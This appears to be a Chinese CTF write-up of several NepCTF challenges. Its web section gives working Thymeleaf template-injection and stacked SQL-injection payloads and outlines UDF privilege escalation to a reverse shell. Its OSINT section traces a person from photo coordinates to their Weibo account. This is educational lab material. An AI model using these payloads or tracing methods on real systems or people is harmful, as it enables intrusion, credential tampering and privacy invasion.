前言
官方wp出来之后针对一些题目进行复现,这些题目的思路很值得我们去学习,也具有一定的难度,当时比赛时没有做出来。
官方wp:https://www.wolai.com/nepnep/g2DTj6mRtBk2mikVuCyaE6
MISC
原来你也玩智能家居(赛后)
很有新意的一题misc。这题是Home Assistant,我们要找到显示器切换的红外数据。
hint提示要注意开启的应用,看了一下应该是要通过MQTT来进行获取数据,通过订阅连接对物联网设备进行操作。同时由于所有的配置都是默认的,我们去查看下Tasmota有什么默认配置是可以被利用到的:
我们可以利用这个cmdn,通过MQTT一个通配订阅服就可以获取到数据了:
DoubleHappiness
也是一题osint,这个osint的难度比上一题大了好多。题目给了一张图片,在exif中发现了坐标值:
转换度分秒的GPS坐标为经纬度常用格式(120.1,30.278125),地点为浙商财富中心。
经纬度转换
那么确定外卖地点后,去找附近的瑞幸咖啡店铺:
确定店家,去美团外卖评论区找,最后发现7月13日有这样一条可疑评论:
图片中暴露了微博的名称,我们跟进到微博中,然后在这个人的主页找到了这么一张图:
看左下角的马赛克部分,隐约可以认出来是flag,那么我们就要去掉这个马赛克。使用unRedacter工具跑,根据描述需要加上大写字母、数字和一些符号,更改下宽高,跑工具跑出flag:
啵哔嘀嘟~
打开环境里面是一个流量包,提取其中的7z文件,解压后得到一个wav文件,将其使用如下脚本解码后能得到TAP文件:
wav2tap2.py
做题的时候直接把这个tap文件拖到ccs64里,然后什么都没有,就不知道接下来该干嘛了。按照wp所说的,接下来使用Final Tap处理看到分段的Program:
然后将其转换回bas文件,使用petcat:
1 | petcat -o program.bas -- 123.TAP_TURBOTAPE-250\ DATA_BLOCK_6.PRG |
得到program.bas:
1 | 10 rdothex$right$($ced4) "HELLO NEPCTF, HELLO NEPNEP~" |
解那个base64就是flag了。
这题的出题思路看得我也是觉得很牛,建议大家也可以去官方wp看看。
REVERSE
快来签到
难怪这么多人做出来,真的不难,但是我就是没想到。其实我之前有看过KCTF那个叹息之墙,但我做的时候真没想到,好气啊。
程序拖入IDA64,设置调整图标显示的最大值,然后看main函数的图标模式,哇哦,惊喜来咯:
属于是被秀到了。
WEB
Challenger
Thymeleaf模板注入,给了jar附件,反编译后发现在/eval下存在变量lang可控并返回lang。
payload:
1 | /eval?h3=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat /flag").getInputStream()).next()%7d__::. |
博学多闻的花花
在login.php中,登录逻辑是session储存username与studentid的md5值。
在index.php:183看到了insert,且没有对username进行过滤,这里存在sql注入点:
1 | $query = "insert into score values (NULL, '".addslashes_deep($_SESSION['username'])."', $getscroe); |
存在multi_query,推断是二次注入+堆叠注入,此处payload:
1 | a','1','2','3','4','1');update users set studentid='{passwd}' where username='admin'; |
sql语句变化如下:
1 | ...;insert into userAnswer values (NULL, 'a','1','2','3','4','1');update users set studentid='admin_passwd' where username='admin';#', '1', '1', '1', '1', '1')"; |
这样就更改了admin的studentid,可以登录。
接下来是udf提权,init.sql文件告诉我们,ctf用户有*.*
的file和insert权限,配置文件中的配置均为默认。
由于服务器是linux-x64,在github选取合适的.so文件或者自己编译,本地使用select获取其hex值。在score.php:54中存在二次注入点,闭合后使用dump file写入so文件,再创造udf,最后执行命令反弹shell。没有权限执行cat命令,寻找有suid位的程序curl,执行curl file:///flag
获得flag。
官方exp:
1 | import random |